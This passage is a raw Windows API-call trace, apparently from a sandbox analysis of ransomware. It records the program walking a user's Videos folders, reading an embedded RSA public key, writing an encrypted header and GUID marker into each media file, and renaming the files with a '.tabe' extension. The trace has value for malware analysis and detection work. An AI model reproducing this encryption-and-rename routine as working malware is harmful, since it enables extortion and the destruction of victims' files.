lpBuffer=0x347b558*, lpNumberOfBytesWritten=0x3dcfb50*=0x100, lpOverlapped=0x0) returned 1 [0127.208] lstrlenA (lpString="{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}") returned 38 [0127.208] WriteFile (in: hFile=0x618, lpBuffer=0x504448*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0x3dcfb50, lpOverlapped=0x0 | out: lpBuffer=0x504448*, lpNumberOfBytesWritten=0x3dcfb50*=0x26, lpOverlapped=0x0) returned 1 [0127.208] CloseHandle (hObject=0x618) returned 1 [0127.209] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\JTvtdCNymG6\\SIVvc St9Ao.swf" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\jtvtdcnymg6\\sivvc st9ao.swf"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\JTvtdCNymG6\\SIVvc St9Ao.swf.tabe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\jtvtdcnymg6\\sivvc st9ao.swf.tabe")) returned 1 [0127.211] FindNextFileW (in: hFindFile=0x3463848, lpFindFileData=0x3dcfba4 | out: lpFindFileData=0x3dcfba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xaecb76d0, ftCreationTime.dwHighDateTime=0x1d5e6d5, ftLastAccessTime.dwLowDateTime=0xb6d94dc0, ftLastAccessTime.dwHighDateTime=0x1d5de42, ftLastWriteTime.dwLowDateTime=0xb6d94dc0, ftLastWriteTime.dwHighDateTime=0x1d5de42, nFileSizeHigh=0x0, nFileSizeLow=0x383b, dwReserved0=0xa0000003, dwReserved1=0x8100c4, cFileName="yGD9cFZ grtyE.mkv", cAlternateFileName="YGD9CF~1.MKV")) returned 1 [0127.211] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\JTvtdCNymG6\\yGD9cFZ grtyE.mkv") returned=".mkv" [0127.211] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\JTvtdCNymG6\\yGD9cFZ grtyE.mkv" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\jtvtdcnymg6\\ygd9cfz grtye.mkv"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x618 [0127.211] GetFileSizeEx (in: hFile=0x618, lpFileSize=0x3dcfb40 | out: lpFileSize=0x3dcfb40*=14395) returned 1 [0127.211] VirtualAlloc (lpAddress=0x0, dwSize=0x25815, flAllocationType=0x1000, flProtect=0x4) returned 0x2be0000 [0127.212] SetFilePointerEx (in: hFile=0x618, liDistanceToMove=0x3815, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0127.212] ReadFile (in: hFile=0x618, lpBuffer=0x2be0000, nNumberOfBytesToRead=0x26, lpNumberOfBytesRead=0x3dcfb78, lpOverlapped=0x0 | out: lpBuffer=0x2be0000*, lpNumberOfBytesRead=0x3dcfb78*=0x26, lpOverlapped=0x0) returned 1 [0127.214] ReadFile (in: hFile=0x618, lpBuffer=0x2be0000, nNumberOfBytesToRead=0x25805, lpNumberOfBytesRead=0x3dcfb70, lpOverlapped=0x0 | out: lpBuffer=0x2be0000*, lpNumberOfBytesRead=0x3dcfb70*=0x383b, lpOverlapped=0x0) returned 1 [0127.214] lstrlenA (lpString="-----BEGIN PUBLIC KEY-----\\\\nMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA6iJhEi6gje\\/1Co9zM0Ge\\\\nMGiZuH2YO4FP54WsYmKyLmh+\\/\\/y8hITRkPXB159M+9gy5xZqJopQcqlZ8HBVI9LR\\\\nPROhQLh8L0zW3aeSuNuqGfW7xXk7cFzjAXuXZNBT6JGrGL5BYVzRdBpW04UOA2UD\\\\nbXVXJVE7fGXUVZrKrGoC2kvNZHSTDqK8cfhfwXD2H+o6f+LgYWEfssbY3O3\\/C\\/VS\\\\nytDwgojboTDS8z13GFTZxbp4RdYFhiOg9P5rDgO0dO9DIlmixL6alaOB0ee8LG40\\\\nfuliAzKjKwF0xoX3c+mW2W5CGjbAdfHQGHJktLgiuo7MsZH5Idfvc83eScmzakLC\\\\n0wIDAQAB\\\\n-----END PUBLIC KEY-----\\\\n") returned 494 [0127.214] lstrlenA (lpString="-----BEGIN PUBLIC KEY-----\\\\nMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA6iJhEi6gje\\/1Co9zM0Ge\\\\nMGiZuH2YO4FP54WsYmKyLmh+\\/\\/y8hITRkPXB159M+9gy5xZqJopQcqlZ8HBVI9LR\\\\nPROhQLh8L0zW3aeSuNuqGfW7xXk7cFzjAXuXZNBT6JGrGL5BYVzRdBpW04UOA2UD\\\\nbXVXJVE7fGXUVZrKrGoC2kvNZHSTDqK8cfhfwXD2H+o6f+LgYWEfssbY3O3\\/C\\/VS\\\\nytDwgojboTDS8z13GFTZxbp4RdYFhiOg9P5rDgO0dO9DIlmixL6alaOB0ee8LG40\\\\nfuliAzKjKwF0xoX3c+mW2W5CGjbAdfHQGHJktLgiuo7MsZH5Idfvc83eScmzakLC\\\\n0wIDAQAB\\\\n-----END PUBLIC KEY-----\\\\n") returned 494 [0127.214] lstrlenA (lpString="-----BEGIN PUBLIC KEY-----\\\\nMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA6iJhEi6gje\\/1Co9zM0Ge\\\\nMGiZuH2YO4FP54WsYmKyLmh+\\/\\/y8hITRkPXB159M+9gy5xZqJopQcqlZ8HBVI9LR\\\\nPROhQLh8L0zW3aeSuNuqGfW7xXk7cFzjAXuXZNBT6JGrGL5BYVzRdBpW04UOA2UD\\\\nbXVXJVE7fGXUVZrKrGoC2kvNZHSTDqK8cfhfwXD2H+o6f+LgYWEfssbY3O3\\/C\\/VS\\\\nytDwgojboTDS8z13GFTZxbp4RdYFhiOg9P5rDgO0dO9DIlmixL6alaOB0ee8LG40\\\\nfuliAzKjKwF0xoX3c+mW2W5CGjbAdfHQGHJktLgiuo7MsZH5Idfvc83eScmzakLC\\\\n0wIDAQAB\\\\n-----END PUBLIC KEY-----\\\\n") returned 494 [0127.214] CryptAcquireContextW (in: phProv=0x3dcfa50, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x3dcfa50*=0x866b70) returned 1 [0127.215] CryptCreateHash (in: hProv=0x866b70, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x3dcfa58 | out: phHash=0x3dcfa58) returned 1 [0127.215] CryptHashData (hHash=0x3463888, pbData=0x3ae95d8, dwDataLen=0x1f3, dwFlags=0x0) returned 1 [0127.215] CryptGetHashParam (in: hHash=0x3463888, dwParam=0x2, pbData=0x0, pdwDataLen=0x3dcfa54, dwFlags=0x0 | out: pbData=0x0, pdwDataLen=0x3dcfa54) returned 1 [0127.215] CryptGetHashParam (in: hHash=0x3463888, dwParam=0x2, pbData=0x3464110, pdwDataLen=0x3dcfa54, dwFlags=0x0 | out: pbData=0x3464110, pdwDataLen=0x3dcfa54) returned 1 [0127.215] CryptDestroyHash (hHash=0x3463888) returned 1 [0127.215] CryptReleaseContext (hProv=0x866b70, dwFlags=0x0) returned 1 [0127.215] UuidCreate (in: Uuid=0x3dcfa48 | out: Uuid=0x3dcfa48) returned 0x0 [0127.215] UuidToStringA (in: Uuid=0x3dcfa48, StringUuid=0x3dcfa40 | out: StringUuid=0x3dcfa40) returned 0x0 [0127.215] RpcStringFreeA (in: String=0x3dcfa40 | out: String=0x3dcfa40) returned 0x0 [0127.215] RtlReAllocateHeap (Heap=0x810000, Flags=0x0, Ptr=0x3aefb48, Size=0x218) returned 0x3af7be8 [0127.216] SetFilePointerEx (in: hFile=0x618, liDistanceToMove=0x383b, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0127.216] WriteFile (in: hFile=0x618, lpBuffer=0x347b558*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x3dcfb50, lpOverlapped=0x0 | out: lpBuffer=0x347b558*, lpNumberOfBytesWritten=0x3dcfb50*=0x100, lpOverlapped=0x0) returned 1 [0127.216] lstrlenA (lpString="{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}") returned 38 [0127.216] WriteFile (in: hFile=0x618, lpBuffer=0x504448*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0x3dcfb50, lpOverlapped=0x0 | out: lpBuffer=0x504448*, lpNumberOfBytesWritten=0x3dcfb50*=0x26, lpOverlapped=0x0) returned 1 [0127.216] CloseHandle (hObject=0x618) returned 1 [0127.217] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\JTvtdCNymG6\\yGD9cFZ grtyE.mkv" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\jtvtdcnymg6\\ygd9cfz grtye.mkv"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\JTvtdCNymG6\\yGD9cFZ grtyE.mkv.tabe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\jtvtdcnymg6\\ygd9cfz grtye.mkv.tabe")) returned 1 [0127.218] FindNextFileW (in: hFindFile=0x3463848, lpFindFileData=0x3dcfba4 | out: lpFindFileData=0x3dcfba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xaecb76d0, ftCreationTime.dwHighDateTime=0x1d5e6d5, ftLastAccessTime.dwLowDateTime=0xb6d94dc0, ftLastAccessTime.dwHighDateTime=0x1d5de42, ftLastWriteTime.dwLowDateTime=0xb6d94dc0, ftLastWriteTime.dwHighDateTime=0x1d5de42, nFileSizeHigh=0x0, nFileSizeLow=0x383b, dwReserved0=0xa0000003, dwReserved1=0x8100c4, cFileName="yGD9cFZ grtyE.mkv", cAlternateFileName="YGD9CF~1.MKV")) returned 0 [0127.218] FindClose (in: hFindFile=0x3463848 | out: hFindFile=0x3463848) returned 1 [0127.218] PeekMessageW (in: lpMsg=0x3dcff08, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x3dcff08) returned 0 [0127.218] PeekMessageW (in: lpMsg=0x3dcfb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x3dcfb74) returned 0 [0127.218] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\kG_PXJbnjFaNbAU-m\\") returned="kG_PXJbnjFaNbAU-m\\" [0127.218] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\") returned="Videos\\" [0127.218] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\") returned="5p5NrGJn0jS HALPmcxz\\" [0127.218] PathFindFileNameW (pszPath="C:\\Users\\") returned="Users\\" [0127.218] PathFindFileNameW (pszPath="C:\\") returned="C:\\" [0127.218] PathFindFileNameW (pszPath="") returned="" [0127.218] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\kG_PXJbnjFaNbAU-m\\*", lpFindFileData=0x3dcfba4 | out: lpFindFileData=0x3dcfba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17ee950, ftCreationTime.dwHighDateTime=0x1d5e2ff, ftLastAccessTime.dwLowDateTime=0x52a7f210, ftLastAccessTime.dwHighDateTime=0x1d5deb6, ftLastWriteTime.dwLowDateTime=0x52a7f210, ftLastWriteTime.dwHighDateTime=0x1d5deb6, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x8100c4, cFileName=".", cAlternateFileName="")) returned 0x3463848 [0127.219] FindNextFileW (in: hFindFile=0x3463848, lpFindFileData=0x3dcfba4 | out: lpFindFileData=0x3dcfba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17ee950, ftCreationTime.dwHighDateTime=0x1d5e2ff, ftLastAccessTime.dwLowDateTime=0x52a7f210, ftLastAccessTime.dwHighDateTime=0x1d5deb6, ftLastWriteTime.dwLowDateTime=0x52a7f210, ftLastWriteTime.dwHighDateTime=0x1d5deb6, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x8100c4, cFileName="..", cAlternateFileName="")) returned 1 [0127.219] FindNextFileW (in: hFindFile=0x3463848, lpFindFileData=0x3dcfba4 | out: lpFindFileData=0x3dcfba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf8ceb080, ftCreationTime.dwHighDateTime=0x1d5e441, ftLastAccessTime.dwLowDateTime=0x5147a330, ftLastAccessTime.dwHighDateTime=0x1d5e7d4, ftLastWriteTime.dwLowDateTime=0x5147a330, ftLastWriteTime.dwHighDateTime=0x1d5e7d4, nFileSizeHigh=0x0, nFileSizeLow=0xb09, dwReserved0=0xa0000003, dwReserved1=0x8100c4, cFileName="hVez9.mp4", cAlternateFileName="")) returned 1 [0127.219] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\kG_PXJbnjFaNbAU-m\\hVez9.mp4") returned=".mp4" [0127.219] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\kG_PXJbnjFaNbAU-m\\hVez9.mp4" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\kg_pxjbnjfanbau-m\\hvez9.mp4"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x618 [0127.220] GetFileSizeEx (in: hFile=0x618, lpFileSize=0x3dcfb40 | out: lpFileSize=0x3dcfb40*=2825) returned 1 [0127.220] VirtualAlloc (lpAddress=0x0, dwSize=0x25815, flAllocationType=0x1000, flProtect=0x4) returned 0x2be0000 [0127.221] SetFilePointerEx (in: hFile=0x618, liDistanceToMove=0xae3, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0127.221] ReadFile (in: hFile=0x618, lpBuffer=0x2be0000, nNumberOfBytesToRead=0x26, lpNumberOfBytesRead=0x3dcfb78, lpOverlapped=0x0 | out: lpBuffer=0x2be0000*, lpNumberOfBytesRead=0x3dcfb78*=0x26, lpOverlapped=0x0) returned 1 [0127.223] ReadFile (in: hFile=0x618, lpBuffer=0x2be0000, nNumberOfBytesToRead=0x25805, lpNumberOfBytesRead=0x3dcfb70, lpOverlapped=0x0 | out: lpBuffer=0x2be0000*, lpNumberOfBytesRead=0x3dcfb70*=0xb09, lpOverlapped=0x0) returned 1 [0127.223] lstrlenA (lpString="-----BEGIN PUBLIC KEY-----\\\\nMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA6iJhEi6gje\\/1Co9zM0Ge\\\\nMGiZuH2YO4FP54WsYmKyLmh+\\/\\/y8hITRkPXB159M+9gy5xZqJopQcqlZ8HBVI9LR\\\\nPROhQLh8L0zW3aeSuNuqGfW7xXk7cFzjAXuXZNBT6JGrGL5BYVzRdBpW04UOA2UD\\\\nbXVXJVE7fGXUVZrKrGoC2kvNZHSTDqK8cfhfwXD2H+o6f+LgYWEfssbY3O3\\/C\\/VS\\\\nytDwgojboTDS8z13GFTZxbp4RdYFhiOg9P5rDgO0dO9DIlmixL6alaOB0ee8LG40\\\\nfuliAzKjKwF0xoX3c+mW2W5CGjbAdfHQGHJktLgiuo7MsZH5Idfvc83eScmzakLC\\\\n0wIDAQAB\\\\n-----END PUBLIC KEY-----\\\\n") returned 494 [0127.223] lstrlenA (lpString="-----BEGIN PUBLIC KEY-----\\\\nMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA6iJhEi6gje\\/1Co9zM0Ge\\\\nMGiZuH2YO4FP54WsYmKyLmh+\\/\\/y8hITRkPXB159M+9gy5xZqJopQcqlZ8HBVI9LR\\\\nPROhQLh8L0zW3aeSuNuqGfW7xXk7cFzjAXuXZNBT6JGrGL5BYVzRdBpW04UOA2UD\\\\nbXVXJVE7fGXUVZrKrGoC2kvNZHSTDqK8cfhfwXD2H+o6f+LgYWEfssbY3O3\\/C\\/VS\\\\nytDwgojboTDS8z13GFTZxbp4RdYFhiOg9P5rDgO0dO9DIlmixL6alaOB0ee8LG40\\\\nfuliAzKjKwF0xoX3c+mW2W5CGjbAdfHQGHJktLgiuo7MsZH5Idfvc83eScmzakLC\\\\n0wIDAQAB\\\\n-----END PUBLIC KEY-----\\\\n") returned 494 [0127.223] lstrlenA (lpString="-----BEGIN PUBLIC KEY-----\\\\nMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA6iJhEi6gje\\/1Co9zM0Ge\\\\nMGiZuH2YO4FP54WsYmKyLmh+\\/\\/y8hITRkPXB159M+9gy5xZqJopQcqlZ8HBVI9LR\\\\nPROhQLh8L0zW3aeSuNuqGfW7xXk7cFzjAXuXZNBT6JGrGL5BYVzRdBpW04UOA2UD\\\\nbXVXJVE7fGXUVZrKrGoC2kvNZHSTDqK8cfhfwXD2H+o6f+LgYWEfssbY3O3\\/C\\/VS\\\\nytDwgojboTDS8z13GFTZxbp4RdYFhiOg9P5rDgO0dO9DIlmixL6alaOB0ee8LG40\\\\nfuliAzKjKwF0xoX3c+mW2W5CGjbAdfHQGHJktLgiuo7MsZH5Idfvc83eScmzakLC\\\\n0wIDAQAB\\\\n-----END PUBLIC KEY-----\\\\n") returned 494 [0127.223] CryptAcquireContextW (in: phProv=0x3dcfa50, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x3dcfa50*=0x866b70) returned 1 [0127.223] CryptCreateHash (in: hProv=0x866b70, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x3dcfa58 | out: phHash=0x3dcfa58) returned 1 [0127.223] CryptHashData (hHash=0x3463888, pbData=0x3ae95d8, dwDataLen=0x1f3, dwFlags=0x0) returned 1 [0127.224] CryptGetHashParam (in: hHash=0x3463888, dwParam=0x2, pbData=0x0, pdwDataLen=0x3dcfa54, dwFlags=0x0 | out: pbData=0x0, pdwDataLen=0x3dcfa54) returned 1 [0127.224] CryptGetHashParam (in: hHash=0x3463888, dwParam=0x2, pbData=0x3464110, pdwDataLen=0x3dcfa54, dwFlags=0x0 | out: pbData=0x3464110, pdwDataLen=0x3dcfa54) returned 1 [0127.224] CryptDestroyHash (hHash=0x3463888) returned 1 [0127.224] CryptReleaseContext (hProv=0x866b70, dwFlags=0x0) returned 1 [0127.224] UuidCreate (in: Uuid=0x3dcfa48 | out: Uuid=0x3dcfa48) returned 0x0 [0127.224] UuidToStringA (in: Uuid=0x3dcfa48, StringUuid=0x3dcfa40 | out: StringUuid=0x3dcfa40) returned 0x0 [0127.224] RpcStringFreeA (in: String=0x3dcfa40 | out: String=0x3dcfa40) returned 0x0 [0127.224] RtlReAllocateHeap (Heap=0x810000, Flags=0x0, Ptr=0x3aefb48, Size=0x218) returned 0x3af7be8 [0127.224] SetFilePointerEx (in: hFile=0x618, liDistanceToMove=0xb09, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0127.224] WriteFile (in: hFile=0x618, lpBuffer=0x347b558*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x3dcfb50, lpOverlapped=0x0 | out: lpBuffer=0x347b558*, lpNumberOfBytesWritten=0x3dcfb50*=0x100, lpOverlapped=0x0) returned 1 [0127.224] lstrlenA (lpString="{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}") returned 38 [0127.224] WriteFile (in: hFile=0x618, lpBuffer=0x504448*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0x3dcfb50, lpOverlapped=0x0 | out: lpBuffer=0x504448*, lpNumberOfBytesWritten=0x3dcfb50*=0x26, lpOverlapped=0x0) returned 1 [0127.224] CloseHandle (hObject=0x618) returned 1 [0127.225] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\kG_PXJbnjFaNbAU-m\\hVez9.mp4" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\kg_pxjbnjfanbau-m\\hvez9.mp4"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\kG_PXJbnjFaNbAU-m\\hVez9.mp4.tabe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\kg_pxjbnjfanbau-m\\hvez9.mp4.tabe")) returned 1 [0127.226] FindNextFileW (in: hFindFile=0x3463848, lpFindFileData=0x3dcfba4 | out: lpFindFileData=0x3dcfba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x305c1940, ftCreationTime.dwHighDateTime=0x1d5e279, ftLastAccessTime.dwLowDateTime=0x364588f0, ftLastAccessTime.dwHighDateTime=0x1d5e3ff, ftLastWriteTime.dwLowDateTime=0x364588f0, ftLastWriteTime.dwHighDateTime=0x1d5e3ff, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x8100c4, cFileName="oCqyZ9iQA", cAlternateFileName="OCQYZ9~1")) returned 1 [0127.226] FindNextFileW (in: hFindFile=0x3463848, lpFindFileData=0x3dcfba4 | out: lpFindFileData=0x3dcfba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa7a84440, ftCreationTime.dwHighDateTime=0x1d5e302, ftLastAccessTime.dwLowDateTime=0xc1e253e0, ftLastAccessTime.dwHighDateTime=0x1d5e7e5, ftLastWriteTime.dwLowDateTime=0xc1e253e0, ftLastWriteTime.dwHighDateTime=0x1d5e7e5, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x8100c4, cFileName="RK4kUvZixIIxI 0ux8", cAlternateFileName="RK4KUV~1")) returned 1 [0127.226] FindNextFileW (in: hFindFile=0x3463848, lpFindFileData=0x3dcfba4 | out: lpFindFileData=0x3dcfba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa7a84440, ftCreationTime.dwHighDateTime=0x1d5e302, ftLastAccessTime.dwLowDateTime=0xc1e253e0, ftLastAccessTime.dwHighDateTime=0x1d5e7e5, ftLastWriteTime.dwLowDateTime=0xc1e253e0, ftLastWriteTime.dwHighDateTime=0x1d5e7e5, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x8100c4, cFileName="RK4kUvZixIIxI 0ux8", cAlternateFileName="RK4KUV~1")) returned 0 [0127.226] FindClose (in: hFindFile=0x3463848 | out: hFindFile=0x3463848) returned 1 [0127.226] PeekMessageW (in: lpMsg=0x3dcff08, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x3dcff08) returned 0 [0127.226] PeekMessageW (in: lpMsg=0x3dcfb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x3dcfb74) returned 0 [0127.227] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\LWdYNCSp0w4\\") returned="LWdYNCSp0w4\\" [0127.227] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\") returned="Videos\\" [0127.227] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\") returned="5p5NrGJn0jS HALPmcxz\\" [0127.227] PathFindFileNameW (pszPath="C:\\Users\\") returned="Users\\" [0127.227] PathFindFileNameW (pszPath="C:\\") returned="C:\\" [0127.227] PathFindFileNameW (pszPath="") returned="" [0127.227] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\LWdYNCSp0w4\\*", lpFindFileData=0x3dcfba4 | out: lpFindFileData=0x3dcfba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8baf2ba0, ftCreationTime.dwHighDateTime=0x1d5e5d7, ftLastAccessTime.dwLowDateTime=0x591302a0, ftLastAccessTime.dwHighDateTime=0x1d5e412, ftLastWriteTime.dwLowDateTime=0x591302a0, ftLastWriteTime.dwHighDateTime=0x1d5e412, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x8100c4, cFileName=".", cAlternateFileName="")) returned 0x3463848 [0127.228] FindNextFileW (in: hFindFile=0x3463848, lpFindFileData=0x3dcfba4 | out: lpFindFileData=0x3dcfba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8baf2ba0, ftCreationTime.dwHighDateTime=0x1d5e5d7, ftLastAccessTime.dwLowDateTime=0x591302a0, ftLastAccessTime.dwHighDateTime=0x1d5e412, ftLastWriteTime.dwLowDateTime=0x591302a0, ftLastWriteTime.dwHighDateTime=0x1d5e412, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x8100c4, cFileName="..", cAlternateFileName="")) returned 1 [0127.228] FindNextFileW (in: hFindFile=0x3463848, lpFindFileData=0x3dcfba4 | out: lpFindFileData=0x3dcfba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6d4a3d70, ftCreationTime.dwHighDateTime=0x1d5d8e5, ftLastAccessTime.dwLowDateTime=0x2474f7b0, ftLastAccessTime.dwHighDateTime=0x1d5e4d5, ftLastWriteTime.dwLowDateTime=0x2474f7b0, ftLastWriteTime.dwHighDateTime=0x1d5e4d5, nFileSizeHigh=0x0, nFileSizeLow=0x660b, dwReserved0=0xa0000003, dwReserved1=0x8100c4, cFileName="6YUILuMky-podD.avi", cAlternateFileName="6YUILU~1.AVI")) returned 1 [0127.228] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\LWdYNCSp0w4\\6YUILuMky-podD.avi") returned=".avi" [0127.228] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\LWdYNCSp0w4\\6YUILuMky-podD.avi" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\lwdyncsp0w4\\6yuilumky-podd.avi"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x618 [0127.228] GetFileSizeEx (in: hFile=0x618, lpFileSize=0x3dcfb40 | out: lpFileSize=0x3dcfb40*=26123) returned 1 [0127.228] VirtualAlloc (lpAddress=0x0, dwSize=0x25815, flAllocationType=0x1000, flProtect=0x4) returned 0x2be0000 [0127.229] SetFilePointerEx (in: hFile=0x618, liDistanceToMove=0x65e5, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0127.229] ReadFile (in: hFile=0x618, lpBuffer=0x2be0000, nNumberOfBytesToRead=0x26, lpNumberOfBytesRead=0x3dcfb78, lpOverlapped=0x0 | out: lpBuffer=0x2be0000*, lpNumberOfBytesRead=0x3dcfb78*=0x26, lpOverlapped=0x0) returned 1 [0127.231] ReadFile (in: hFile=0x618, lpBuffer=0x2be0000, nNumberOfBytesToRead=0x25805, lpNumberOfBytesRead=0x3dcfb70, lpOverlapped=0x0 | out: lpBuffer=0x2be0000*, lpNumberOfBytesRead=0x3dcfb70*=0x660b, lpOverlapped=0x0) returned 1 [0127.231] lstrlenA (lpString="-----BEGIN PUBLIC KEY-----\\\\nMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA6iJhEi6gje\\/1Co9zM0Ge\\\\nMGiZuH2YO4FP54WsYmKyLmh+\\/\\/y8hITRkPXB159M+9gy5xZqJopQcqlZ8HBVI9LR\\\\nPROhQLh8L0zW3aeSuNuqGfW7xXk7cFzjAXuXZNBT6JGrGL5BYVzRdBpW04UOA2UD\\\\nbXVXJVE7fGXUVZrKrGoC2kvNZHSTDqK8cfhfwXD2H+o6f+LgYWEfssbY3O3\\/C\\/VS\\\\nytDwgojboTDS8z13GFTZxbp4RdYFhiOg9P5rDgO0dO9DIlmixL6alaOB0ee8LG40\\\\nfuliAzKjKwF0xoX3c+mW2W5CGjbAdfHQGHJktLgiuo7MsZH5Idfvc83eScmzakLC\\\\n0wIDAQAB\\\\n-----END PUBLIC KEY-----\\\\n") returned 494 [0127.231] lstrlenA (lpString="-----BEGIN PUBLIC KEY-----\\\\nMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA6iJhEi6gje\\/1Co9zM0Ge\\\\nMGiZuH2YO4FP54WsYmKyLmh+\\/\\/y8hITRkPXB159M+9gy5xZqJopQcqlZ8HBVI9LR\\\\nPROhQLh8L0zW3aeSuNuqGfW7xXk7cFzjAXuXZNBT6JGrGL5BYVzRdBpW04UOA2UD\\\\nbXVXJVE7fGXUVZrKrGoC2kvNZHSTDqK8cfhfwXD2H+o6f+LgYWEfssbY3O3\\/C\\/VS\\\\nytDwgojboTDS8z13GFTZxbp4RdYFhiOg9P5rDgO0dO9DIlmixL6alaOB0ee8LG40\\\\nfuliAzKjKwF0xoX3c+mW2W5CGjbAdfHQGHJktLgiuo7MsZH5Idfvc83eScmzakLC\\\\n0wIDAQAB\\\\n-----END PUBLIC KEY-----\\\\n") returned 494 [0127.231] lstrlenA 